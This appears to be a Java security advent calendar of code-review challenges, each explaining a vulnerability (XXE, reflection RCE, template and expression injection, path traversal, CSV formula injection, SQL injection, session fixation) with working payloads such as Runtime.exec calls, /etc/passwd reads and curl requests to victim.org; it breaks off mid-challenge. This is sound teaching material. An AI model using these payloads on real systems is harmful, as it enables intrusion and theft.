Java Security Advent Calendar 2019

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


import org.jdom2.Content;
import org.jdom2.Document;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;

public class ImportDocument {
  // This function extracts the text of an OpenOffice document
  public static String extractString() throws IOException, JDOMException {
    File initialFile = new File("uploaded_office_doc.odt");
    InputStream in = new FileInputStream(initialFile);
    final ZipInputStream zis = new ZipInputStream(in);
    ZipEntry entry;
    List<Content> content = null;
    while ((entry = zis.getNextEntry()) != null) {
      if (entry.getName().equals("content.xml")) {
        final SAXBuilder sax = new org.jdom2.input.SAXBuilder();
        sax.setFeature("http://javax.xml.XMLConstants/feature/secure-processing",true);
        Document doc = sax.build(zis);
        content = doc.getContent();
        zis.close();
        break;
      }
    }
    StringBuilder sb = new StringBuilder();
    if (content != null) {
      for(Content item : content){
        sb.append(item.getValue());
      }
    }
    return sb.toString();
  }
}

The function extractString opens an OpenOffice document which was previously uploaded by an attacker and extracts the text from it. An OpenOffice document is actually a ZIP file which contains multiple resources. Amongst other things the document contains a file named content.xml which contains the text information in XML representation. This file is parsed by the method org.jdom2.input.SAXBuilder.build() which is vulnerable to XXE injection. We can exploit this XXE by adding the following DOCTYPE declaration to the XML document and reference the XXE entity in the document. This will insert the contents of the file /etc/passwd into the document.

1
2
3
4


<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT text ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


import org.json.*;

public class MainController{
  private static String[] parseJsonAsArray(String rawJson, String field) {
    JSONObject obj = new JSONObject(rawJson);
    JSONArray arrJson = obj.getJSONArray(field);
    String[] arr = new String[arrJson.length()];
    for (int i = 0; i < arrJson.length(); i++) {
      arr[i] = arrJson.getString(i);
    }
    return arr;
  }

  private static String parseJsonAsString(String rawJson, String field) {
    JSONObject obj = new JSONObject(rawJson);
    return obj.getString(field);
  }

  // rawJson is user-controlled.
  public MainController(String rawJson) {
    this(parseJsonAsString(rawJson, "controller"), parseJsonAsString(rawJson, "task"), parseJsonAsArray(rawJson, "data"));
  }

  private MainController(String controllerName, String task, String... data) {
    try {
      Object controller = !controllerName.equals("MainController") ? Class.forName(controllerName).getConstructor(String[].class).newInstance((Object) data) : this;
      System.out.println(controller.getClass().getMethod(task));
      controller.getClass().getMethod(task).invoke(controller);
    } catch (Exception e1) {
      try {
        String log = "# [ERROR] Exception with data: " + data + " with exception " + e1;
        System.err.println(log);
        // DONE: VulnApp Security Bug #23517: Strip all "dots" so file extension does not lead to RCE
        Runtime.getRuntime().exec(new String[]{"java", "-jar", "log4j_custom_dlogger.jar", log.replaceAll(".", "")});
        // TODO: VulnApp Bug #24630: Logging is currently not working in v1.8,
        //       something with an ArgumentException, please have alook at that @peter
      } catch (Exception e2) {
        System.err.println("FATAL ERROR: " + e2);
      }
    }
  }
}

The parameter rawJson in line 20 is user-controlled and parsed as JSON. The data extracted from the JSON string is then passed to this which invokes the second constructor in line 21. Here, the parameter controllerName and data can be misused to instantiate any object and to control the first parameter of a constructor in line 26. In line 28, the parameter task is used as function name that is executed on the previously created object. As a result, we can instantiate any object, control the first argument of the constructor, and we can invoke any function without parameters.
For exploitation, an attacker can instantiate a ProcessBuilder with a shell command like touch hacked.jsp and then call the start() function which invokes the shell command: rawJson={"controller":"java.lang.ProcessBuilder","task":"start","data":["touch","hacked.jsp"]}
Note that the "logging" code in line 31 was a feint and is not vulnerable.

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.VelocityContext;
import java.util.HashMap;
import java.util.Map;

public class TemplateRenderer {
  private final VelocityEngine velocity;

  public String renderFragment(String fragment, Map<String,Object> contextParameters) {
    velocity = new VelocityEngine();
    velocity.init();
    VelocityContext context =  new VelocityContext(contextParameters);
    StringWriter tempWriter = new StringWriter(fragment.length());
    velocity.evaluate(context, tempWriter, "renderFragment", fragment);
    return tempWriter.toString();
  }

  public String render(HttpServletRequest req, HttpServletResponse res) {
    Map<String, Object> hm = new HashMap<String, Object>();
    hm.put("user", req.getParameter("user"));
    String template = req.getParameter("temp");
    String rendered = renderFragment(template,hm);
    res.getWriter().println(rendered);
  }
}

A temp parameter is received in line 23 and passed to the renderFragment() function in line 24. Here, the first argument fragment leads to a Code Injection vulnerability in the Velocity template. In line 16, the fragment (template) is evaluated as Java code by Velocity. An exploitation is not that easy though. The limitation of this Template Injection is that the attacker can't execute Java code directly. However, Java reflection can be used to access interesting Java classes and to finally execute arbitrary shell commands:

1
2
3


user=&temp=#set($s="")#set($stringClass=$s.getClass()
   .forName("java.lang.Runtime").getRuntime()
   .exec("touch hacked.jsp"))$stringClass

(Payload source)

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


import javax.servlet.http.*;

public class Login extends HttpServlet {
  protected void doPost(HttpServletRequest request,
                        HttpServletResponse response) {
    String url = request.getParameter("url");
    //only relative urls are allowed!
    if (url.startsWith("/")) {
      response.sendRedirect(url);
    }
  }
}

This code challenge receives the user input via the GET or POST parameter url in line 6. The url parameter can be used to exploit an open redirect vulnerability. The redirect happens in line 10 if url starts with /. However, a URI starting with 2 slashes ( //attacker.org ) is not a relative URI but an absolute URI without a scheme. Therefore, the intended check if the URI is relative can be bypassed with the url parameter //attacker.org.

Finally, the Location response header looks like:

Location: //attacker.org

and the server redirects the victim to attacker.org.

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


import javax.servlet.http.HttpServletRequest;
import java.util.Enumeration;

public class Request {
  public static String toString(HttpServletRequest req) {
    StringBuilder sb = new StringBuilder();
    String delimiter = req.getParameter("delim");
    Enumeration<String> names = req.getParameterNames();
    while (names.hasMoreElements()) {
      String name = names.nextElement();
      if (!name.equals("delim")) {
        sb.append("<b>" + name + "</b>:<br>");
        String[] values = req.getParameterValues(name);
        for (String val : values) {
          sb.append(val);
          sb.append(delimiter);
          sb.append("<br>");
        }
      }
    }
    return sb.toString();
  }
}

In this code challenge the function toString iterates over all HTTP parameters and formats them into HTML representation. In real world scenarios this can be used for logging purposes. In line 7 the value delimiter is received and is appended in line 16 to the StringBuilder instance after each parameter value. A denial of service issue may arise due to the internals of java.util.StringBuilder. By default the StringBuilder object is initialized with an array of size 16. Each time a new value is appended, the StringBuilder instance checks if the data fits into the array. If not, the size of the array is doubled. In this case there is a large amplification which can cause the Java heap to run out of memory. By default Apache Tomcat has a 2MB limit for POST requests and a maximum amount of 10000 parameters. If we submit a very large value for parameter delim (e.g. 1.8 MB) in combination of an array with multiple (e.g. 10000) HTTP parameters we have a maximum amplification of the factor ~20000, considering the StringBuilder internals.

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


import java.io.*;
import java.nio.file.*;
import javax.servlet.http.*;

public class ReadFile extends HttpServlet {
  protected void doPost(HttpServletRequest request,
                        HttpServletResponse response) throws IOException {
    try {
      String url = request.getParameter("url");
      String data = new String(Files.readAllBytes(Paths.get(url)));
    } catch (IOException e) {
      PrintWriter out = response.getWriter();
      out.print("File not found");
      out.flush();
    }
    //proceed with code
  }
}

In line 9 untrusted user input is received from the parameter url. A java.nio.file.Path instance is created from the given value and the contents of that file are read by the method java.nio.file.Files.readAllBytes(). This functionality can be used to read arbitrary files through path traversal. The contents of the file are not reflected into the response of the request, so it is not possible to access the content. However, by sending the value /dev/urandom the application can be interrupted because the method Files.readAllBytes() will not terminate until the Java heap is out of memory. This leads to an infinite file read and finally to a memory exhaustion (DoS) which is not catched by the IOException handler.

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


import com.fasterxml.jackson.core.*;
import javax.servlet.http.*;
import java.io.*;

public class ApiCache extends HttpServlet {
  protected void doPost(HttpServletRequest request,
                        HttpServletResponse response) throws IOException {
    storeJson(request, "/tmp/getUserInformation.json");
  }

  protected void doGet(HttpServletRequest request,
                       HttpServletResponse response) {
    loadJson();
  }

  public static void loadJson() {
      // Deserialize to an HashMap object with Jackson's JsonParser and read the first 2 entries of the file.
  }

  public static void storeJson(HttpServletRequest request, String filename) throws IOException {
    JsonFactory jsonobject = new JsonFactory();
    JsonGenerator jGenerator = jfactory.createGenerator(new File(filename), JsonEncoding.UTF8);
    jGenerator.writeStartObject();
    jGenerator.writeFieldName("username");
    jGenerator.writeRawValue("\"" + request.getParameter("username") + "\"");
    jGenerator.writeFieldName("permission");
    jGenerator.writeRawValue("\"none\"");
    jGenerator.writeEndObject();
    jGenerator.close();
  }
}

In this challenge the username parameter in line 25 is user-controlled and flows into jGenerator.writeRawValue() without sanitization. For example, an attacker could inject the payload ?username=foo","permission":"all which results in:

1
2
3
4
5


{
  "username":"foo",
  "permission":"all",
  "permission":"none"
}

If the JSON object is deserialized in method loadJson() (line 13), the user foo has escalated his privileges to all permissions through a JSON injection. Also, a successful exploitation depends on the implementation of loadJson(). To successfully exploit this issue, the method loadJson() must deserialize only the first occurrence of every key such that the duplicate keys are ignored.

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


import java.io.File;
import javax.servlet.http.*;

public class GetPath extends HttpServlet {
  protected void doGet(HttpServletRequest request,
                       HttpServletResponse response) throws IOException {
    try {
      String icons = request.getParameter("icons");
      String filename = request.getParameter("filename");

      File f_icons = new File(icons);
      File f_filename = new File(filename);

      if (!icons.equals(f_icons.getName())) {
        throw new Exception("File not within target directory!");
      }

      if (!filename.equals(f_filename.getName())) {
        throw new Exception("File not within target directory!");
      }

      String toDir = "/var/myapp/data/" + f_icons.getName() + "/";
      File file = new File(toDir, filename);

      // Download file...
    } catch(Exception e) {
      response.sendRedirect("/");
    }
  }
}

The parameter icons from line 8 flows into a File object in line 11. It is validated in line 14, and finally it is concatenated into a file path in line 22. The check in line 14 tries to prevent a path traversal vulnerability by comparing the file name to the parameter icons. The method getName() turns input like /../../../foo.txt into foo.txt and prevents a simple path traversal attack. However, if the input is only .. nothing is removed by getName() and thus it is possible to bypass the security check. In combination with the parameter filename we are able to traverse one directory level higher and can download any file we want there.

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


import java.io.*;
import java.util.regex.*;
import javax.servlet.http.*;

public class Validator extends HttpServlet {
  protected void doPost(HttpServletRequest request,
                        HttpServletResponse response) throws IOException {
    response.setContentType("text/plain");
    response.setCharacterEncoding("UTF-8");

    PrintWriter out = response.getWriter();
    if (isInWhiteList(request.getParameter("whitelist"), request.getParameter("value"))) {
      out.print("Value is in whitelist.");
    } else {
      out.print("Value is not in whitelist.");
    }
    out.flush();
  }

  public static boolean isInWhiteList(String whitelist, String value) {
    Pattern pattern = Pattern.compile("^[" + whitelist + "]+");
    Matcher matcher = pattern.matcher(value);
    return matcher.matches();
  }
}

The parameter whitelist from line 12 controls a part of the regular expression pattern in line 21, and the parameter value from line 12 is validated against this expression in line 22. Because we can inject an arbitrary expression and have control over the value that the expression is matched against, we can produce heavy CPU consumption with a complex regular expression (ReDoS). This can lead to a CPU exhaustion and results in a DoS at least in Java 8.

Proof of Concept:

1

whitelist=x]|((((a+)+)+)+)&value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


@RequestMapping("/webdav")
  public void webdav(HttpServletResponse res, @RequestParam("name") String name) throws IOException {
    res.setContentType("text/xml");
    res.setCharacterEncoding("UTF-8");
    PrintWriter pw = res.getWriter();
    name = name.replace("]]", "");
    pw.print("<person>");
    pw.print("<name><![CDATA[" + name.replace(" ","") + "]]></name>");
    pw.print("</person>");
  }

In this code challenge the user input is mapped from the GET or POST parameter name to the function parameter name via the annotation @RequestParam. In line 3 the Content-Type of the response is set to text/xml.

If untrusted user input flows into a response with the Content-Type text/xml an attacker can inject a script tag with the xml namespace attribute "http://www.w3.org/1999/xhtml". The browser interprets the content as JavaScript and executes it. To solve this challenge the attacker first has to escape the CDATA element. The filter can be bypassed by inserting a space bewteen ]]. This space character is stripped by the filter. For all other spaces that are needed for payload the attacker can use tabs.

The following payload can be used to exploit this challenge:

1

test] ]><something%3Ascript%09xmlns%3Asomething%3D"http%3A%2F%2Fwww.w3.org%2F1999%2Fxhtml">alert(1)<%2Fsomething%3Ascript><![CDATA[

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


import javax.servlet.http.*;
import java.io.*;
import java.nio.file.Files;
import org.apache.commons.compress.archivers.ArchiveStreamFactory;
import org.apache.commons.compress.archivers.tar.*;
import org.apache.commons.io.IOUtils;

public class ExtractFiles extends HttpServlet {
  private static void extract() throws Exception {
    // /tmp/uploaded.tar is user controlled and an uploaded file.
    final InputStream is = new FileInputStream(new File("/tmp/uploaded.tar"));
    final TarArchiveInputStream tarInputStream = (TarArchiveInputStream) (new ArchiveStreamFactory().createArchiveInputStream(ArchiveStreamFactory.TAR, is));
    File tmpDir = Files.createTempDirectory("test").toFile();
    TarArchiveEntry entry;
    while ((entry = tarInputStream.getNextTarEntry()) != null) {
      File file = new File(tmpDir, entry.getName().replace("../", ""));
      if (entry.isDirectory()) {
        file.mkdirs();
      } else {
        IOUtils.copy(tarInputStream, new FileOutputStream(file));
      }
    }
    is.close();
    tarInputStream.close();
  }
}

The code challenge extracts a TAR file into a temporary directory. A user controls the contents of the file /tmp/uploaded.tar in line 11. A TAR file is an archive which holds the contents of various files or folders. Each file or folder in the archive is mapped to a TarArchiveEntry object. An attacker can control the file name of such an entry which can be accessed with TarArchiveEntry.getName() in line 16. Since the user input reaches the sensitive sink java.io.File in line 16 a path traversal attack (zip slip) can be triggered.

The sanitization in line 16 removes the ../ character sequence from the name which is insufficient and can be bypassed with the following payload on a Linux system running a Tomcat server:

1

..././..././..././..././..././var/tomcat/webapps/ROOT/index.jsp

Can you spot the vulnerability?

index.jsp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


<%@ page import="org.owasp.esapi.ESAPI" %>
<%! String customClass = "default"; %>
<html><body><%@ include file="init.jsp" %>

<div class="<%= customClass %>">
  <%! String username; %>
  <% username = request.getParameter("username"); %>
  Welcome citizen, you have been identified as
  <%
    customClass = request.getParameter("customClass");
    customClass = ESAPI.encoder().encodeForHTML(customClass);
  %>
  <div class="<%= customClass %>">
  <%= ESAPI.encoder().encodeForHTML(username) %>.
</div></div></body></html>

init.jsp

1

<% customClass = request.getParameter("customClass"); %>

A class is assigned to the div-element in line 5 dynamically, originating from the variable customClass. Said variable is initialized with the static string default but is then overwritten in init.jsp when it is included in line 3. Since init.jsp fetches the user input and assigns it directly to customClass without any sanitization or verification, the contents of the div's class attribute can be controlled by an attacker. Breaking out of the attribute is trivial by using a double quote. All other instances of user input are propertly sanitized using an ESAPI encoder.

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


import javax.servlet.http.*;
import java.io.*;
import java.util.List;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;

public class UploadFileController extends HttpServlet {
  protected void doPost(HttpServletRequest request,
                        HttpServletResponse response) throws IOException {
    DiskFileItemFactory factory = new DiskFileItemFactory();
    factory.setRepository(new File(System.getProperty("java.io.tmpdir")));
    ServletFileUpload upload = new ServletFileUpload(factory);

    String uploadPath = getServletContext().getRealPath("") + "upload";
    File uploadDir = new File(uploadPath);
    if (!uploadDir.exists()) {
      uploadDir.mkdir();
    }
    try {
      List<FileItem> items = upload.parseRequest(request);
      if (items != null && items.size() > 0) {
        for (FileItem item : items) {
          if (!item.isFormField()) {
            if (!(item.getContentType().equals("text/plain"))) {
              throw new Exception("ContentType mismatch");
            }
            String file = uploadPath + File.separator + item.getName();
            File storeFile = new File(file);
            item.write(storeFile);
          }
        }
      }
    } catch (Exception ex) {
      response.sendRedirect("/");
    }
  }
}

In this challenge we have a multi-part file upload and the uploaded file has to belong to the content type text/plain, otherwise the file upload is aborted (line 26). The developer tries to prevent that a user uploads dangerous files like .jsp however the content type is controlled by the attacker and thus this check can be easily bypassed. Another user controlled input is the filename of the uploaded file (item.getName() in line 28). It leads to a Path Traversal vulnerability because a string like /../ is a valid file name in Java. Finally, we can upload any file we want because the content type check is insufficient and via the Path Traversal vulnerability we can set the destination of the uploaded file which leads to a Remote Command Execution in the end.

Proof of Concept:

1
2


Content-Disposition: form-data; name="uploadFile"; filename="../../../hacked.jsp"
Content-Type: text/plain

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


import java.io.PrintWriter;
import java.util.*;
import javax.servlet.http.*;

public class Export extends HttpServlet {
  protected void doPost(HttpServletRequest request,
                        HttpServletResponse response) throws IOException {
    response.setContentType("text/csv");
    response.setCharacterEncoding("UTF-8");
    PrintWriter out = response.getWriter();

    String content = buildCSV(request);
    out.print(content);
    out.flush();
  }

  public String buildCSV(HttpServletRequest request) {
    {
      StringBuilder str = new StringBuilder();

      List<List<String>> rows = Arrays.asList(
        Arrays.asList("Scott", "editor", request.getParameter("description"))
      );

      str.append("Name");
      str.append(",");
      str.append("Role");
      str.append(",");
      str.append("Description");
      str.append("\n");

      for (List<String> rowData : rows) {
        str.append(String.join(",", rowData));
        str.append("\n");
      }

      return str.toString();
    }
  }
}

This servlet exports a CSV file which contains unfiltered user input, and thus it contains a Formular Injection vulnerability. The parameter description in line 22 flows into the variable rows and finally into the StringBuilder in line 33. However, we have no sanitization and an attacker can inject a payload like =cmd|'/C calc.exe'!Z0 via description that finally leads to a exported CSV file of the structure:

1
2


Name,Role,Description
Scott,editor,=cmd|'/C calc.exe'!Z0

When a spreadsheet program such as Microsoft Excel or LibreOffice Calc is used to open the file, any cells starting with = will be interpreted by the software as a formula. An attacker could exfiltrate data / execute OS commands, or do other malicious actions.

(Source)

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


import org.apache.commons.io.IOUtils;
import javax.servlet.http.*;
import java.io.*;
import java.util.*;

public class FindOnSystem extends HttpServlet {
  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
    try {
      String[] binary = {"find", ".", "-type", "d"};
      ArrayList<String> cmd = new ArrayList<>(Arrays.asList(binary));

      String[] options = request.getParameter("options").split(" ");
      for (String i : options) {
        cmd.add(i);
      }

      ProcessBuilder processBuilder = new ProcessBuilder(cmd);
      Process process = processBuilder.start();
      IOUtils.copy(process.getInputStream(),response.getOutputStream());
    } catch(Exception e) {
      response.sendRedirect("/");
    }
  }
}

This servlet uses the find system command and exposes the directories of the current folder to the user. This leads to an information leak but an attacker can do even more harm with this code. In line 9/10 the basic command is build (find . -type d) and in line 12-15 the parameter options is appended to the find command. Finally, java.lang.ProcessBuilder is called in line 17/18 to execute the command.

It is important to say that a direct command injection is not possible because everything after find is treated as an argument. However, the user controls some options/arguments of this command which leads to an Argument Injection vulnerability. By injecting the find parameter -exec an attacker is still able to execute arbitrary system commands in the end. A payload like ?options=-exec cat /etc/passwd ; leads to the final shell command find . -type d -exec cat /etc/passwd ;.

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


import java.io.Serializable;
import javax.persistence.*;

@Entity
@DynamicUpdate
@Table(name = "UserEntity", uniqueConstraints = {
        @UniqueConstraint(columnNames = "ID"),
        @UniqueConstraint(columnNames = "EMAIL") })
public class UserEntity implements Serializable {
  public UserEntity(String email, String firstName, String lastName) {
    this.email = email;
    this.firstName = firstName;
    this.lastName = lastName;
  }

  private static final long serialVersionUID = -1798070786993154676L;

  @Id
  @GeneratedValue(strategy = GenerationType.IDENTITY)
  @Column(name = "ID", unique = true, nullable = false)
  private Integer userId;

  @Column(name = "EMAIL", unique = true, nullable = false, length = 100)
  private String email;

  @Column(name = "FIRST_NAME", unique = false, nullable = false, length = 100)
  private String firstName;

  @Column(name = "LAST_NAME", unique = false, nullable = false, length = 100)
  private String lastName;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


import org.hibernate.*;
import org.springframework.web.bind.annotation.RequestParam;

public class FindController {
  public String escapeQuotes(String in){
    return in.replaceAll("'","''");
  }

  @RequestMapping("/findUsers")
  public void findUsers(@RequestParam(name="name") String name, HttpServletResponse res) throws IOException{
    Configuration config = new Configuration();
    // Create SessionFactory with MySQL driver
    SessionFactory sessionFactory = config.configure().buildSessionFactory();
    Session session = sessionFactory.openSession();
    List <UserEntity> users = session.createQuery("from UserEntity where FIRST_NAME ='" + escapeQuotes(name) + "'", UserEntity.class).list();
    res.getWriter().println("Found " + users.size() + " Users with that name");
  }
}

In this challenge the user input is received via the @RequestParam annotation and is mapped to the parameter name of method findUsers (line 10). The code snippet creates a Hibernate Session using the MySQL driver and queries UserEntity objects from the database with a user-supplied filter. In Hibernate, single-quotes within a string literal are escaped using double single quotes. The method escapeQuotes (line 5) seems to correctly apply this escaping. However, we can escape the HQL context and execute plain MySQL queries by injecting the following payload:

1

test\' or 1=sleep(1) -- -

Although this payload looks like a harmless string literal for HQL, it will cause MySQL to execute the function sleep. This (truncated) query will be sent to the database:

1

... where FIRST_NAME='test\'' or 1=sleep(5)-- -'

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49


import java.io.IOException;
import java.lang.reflect.Field;
import java.util.*;
import java.util.regex.Pattern;
import javax.servlet.http.*;

public class JavaDeobfuscatorStartupController extends HttpServlet {
  private static boolean isInBlacklist(String input) {
    String[] blacklist = {"java","os","file"};
    return Arrays.asList(blacklist).contains(input);
  }

  private static void setEnv(String key, String value) {
    String[] values = key.split(Pattern.quote("."));
    if (isInBlacklist(values[0])) {
      return;
    }

    List<String> list = new ArrayList<>(Arrays.asList(values));
    list.removeAll(Arrays.asList("", null));
    String property = String.join(".", list);
    System.setProperty(property, value);
  }

  private static void loadEnv(HttpServletRequest request) {
    Cookie[] cookies = request.getCookies();
    for (int i = 0; i < cookies.length; i++)
      if (cookies[i].getName().equals("env")) {
        String[] tmp = cookies[i].getValue().split("@", 2);
        setEnv(tmp[0], tmp[1]);
      }
    }

  private static void uploadFile() {
    // Secure file upload with arbitrary content type and extension in known path /var/myapp/data
  }

  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
    loadEnv(request);
    try {
      final Field sysPathsField = ClassLoader.class.getDeclaredField("sys_paths");
      sysPathsField.setAccessible(true);
      sysPathsField.set(null, null);
      System.loadLibrary("DEOBFUSCATION_LIB");
    } catch (Exception e) {
      response.sendRedirect("/");
    }
  }
}

The method loadEnv() is called in line 39 and processes the cookie env which is user controlled (lines 26-29). In line 30 the method setEnv() is called with two user controlled parameters (key/value). The key variable is split by . into an array and the first entry is checked against a blacklist (line 15) to prevent the injection of malicious system properties like java.

The previously mentioned blacklist check can be bypassed with a payload like .java.xxx because only the first entry of the split key is validated against the blacklist check in line 15 and an empty string is accepted (see line 9/10). After the check is passed all empty string or null values are removed from the list in line 20 and joined together with . again to build the final property. The goal of an attacker is to set the system property java.library.path (line 22) to the value /var/myapp/data because it is possible to upload files there (line 34) and thus it is vulnerable to a Library Injection. An attacker has to upload a malicious library called libDEOBFUSCATION_LIB.so. The file requires the prefix lib and the suffix .so, otherwise System.loadLibrary() in line 44 won't load it.

Proof of Concept:

1
2
3
4
5


1. Upload file:
curl -v -F 'upload=@/tmp/libDEOBFUSCATION_LIB.so' http://victim.org/

2. Load malicious library:
curl -v --cookie 'env=.java.library.path@/var/myapp/data'

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58


import org.apache.tomcat.util.http.fileupload.IOUtils;
import javax.servlet.http.*;
import java.util.HashMap;

public class LoadConfig extends HttpServlet {
  public static HashMap<String, String> parseRequest(String value) {
    HashMap<String, String> result = new HashMap<String, String>();
    if (value != null) {
      String tmp[] = value.split("@");
      for (int i = 0; i < tmp.length; i = i + 2) {
        result.put(tmp[i], tmp[i + 1]);
      }
    }
    return result;
  }

  protected void doGet(HttpServletRequest request, HttpServletResponse response) {
    if (request.getParameter("home") != null) {
      HttpSession session = request.getSession(true);
      if (!session.isNew()){
        if (validBasicAuthHeader()) { // Checks the Basic Authorization header (password check)
          // Execute last command:
          ProcessBuilder processBuilder = new ProcessBuilder();
          processBuilder.command((String)session.getAttribute("last_command"));
          try {
            Process process = processBuilder.start();
            IOUtils.copy(process.getInputStream(), response.getOutputStream());
          }
          catch (Exception e){
            return;
          }
        }
      }
    } else if (request.getParameter("save_session") != null) {
      String value = request.getParameter("config");
      HashMap<String, String> config = parseRequest(value);
      for (String i : config.keySet()) {
        Cookie settings = new Cookie(i, config.get(i));
        response.addCookie(settings);
      }
    } else {
      HttpSession session = request.getSession(true);
      if (session.isNew()) {
        HashMap<String, String> whitelist = new HashMap<String, String>();
        whitelist.put("home", "yes");
        whitelist.put("role", "frontend");

        String value = request.getParameter("config");
        HashMap<String, String> config = parseRequest(value);

        whitelist.putAll(config);
        for (String i : whitelist.keySet()) {
          session.setAttribute(i, whitelist.get(i));
        }
      }
    }
  }
}

In this snippet we have a Session Fixation vulnerability which leads to a Command Injection vulnerability. The first thing that happens if you visit the application is that a new session is created and session variables are set (lines 43-54). However, an attacker has some control over the session parameters: the user input config is split into key-value pairs in line 49. After that the processed config parameter is merged with the whitelist on line 51. This leads to full control over the session variables of the own session. The goal is to reach the "execute last command" part in lines 23-26 which is only accessible if a valid password is provided through the authorization header (line 21) and the session variable last_command is set. As mentioned above we have full control over the session variables but only in the own session and we do not have a password, so we can not reach it. Luckily, there is a Session Fixation vulnerability in the lines 35-39 that leads to full control over a victims cookies. We can send the admin of the app a link and set his session to our known session via the parameter config and execute our last stored shell command. The authentication header is send automatically, so the password check is passed.

curl "http://victim.org/?config=last_command@ls" -v
Send link to admin and execute the following requests in the background:
- http://victim.org/?config=JSESSIONID@D4E9132DB9703009B1C932E7C37286ED&save_session=yes
- http://victim.org/?home=yes

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


import javax.script.ScriptEngineManager;
import javax.servlet.http.*;
import javax.script.ScriptEngine;
import java.io.IOException;
import java.util.regex.*;

public class RenderExpression extends HttpServlet {
  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
    try {
      ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
      ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");

      String dynamiceCodeHere = request.getParameter("p");
      if (!dynamiceCodeHere.startsWith("\"")) {
        throw new Exception();
      }

      Pattern p = Pattern.compile("([^\".()'\\/,a-zA-z\\s\\\\])|(processbuilder|file|url|runtime|getclass|forname|loadclass|new\\s)");
      Matcher m = p.matcher(dynamiceCodeHere.toLowerCase());
      if (m.find()) {
        throw new Exception();
      }

      scriptEngine.eval(dynamiceCodeHere);
      // Proceed
    } catch(Exception e) {
      response.sendRedirect("/");
    }
  }
}

In line 13 the parameter p is received. It gets evaluated in line 24 which leads to an Expression Language Injection. In an attempt to prevent this, a check for quotes was added (line 14-16) since strings usually start with quotes in this expression language. Additionally, a regular expression check is applied (lines 18-22). This blacklist attempts to prevent the injection of dangerous classes and language constructs that could be used to execute arbitrary Java instructions.

Due to the flexibility of Java there are countless ways to bypass the blacklist. For example, it is possible to call the javax.scripts.ScriptEngineManager class via reflection. Eval expects a string but there are many ways to encode this string which finally leads to a Code Injection. A possible payload could look like this:

1

victim.org/?p="".equals(javax.script.ScriptEngineManager.class.getConstructor().newInstance().getEngineByExtension("js").eval("java.lang.Auntime.getAuntime().exec(\"touch /tmp/owned.jsp\")".replaceAll("A","R")))

Can you spot the vulnerability?

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62


import javax.naming.*;
import javax.naming.directory.*;
import java.util.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.*;

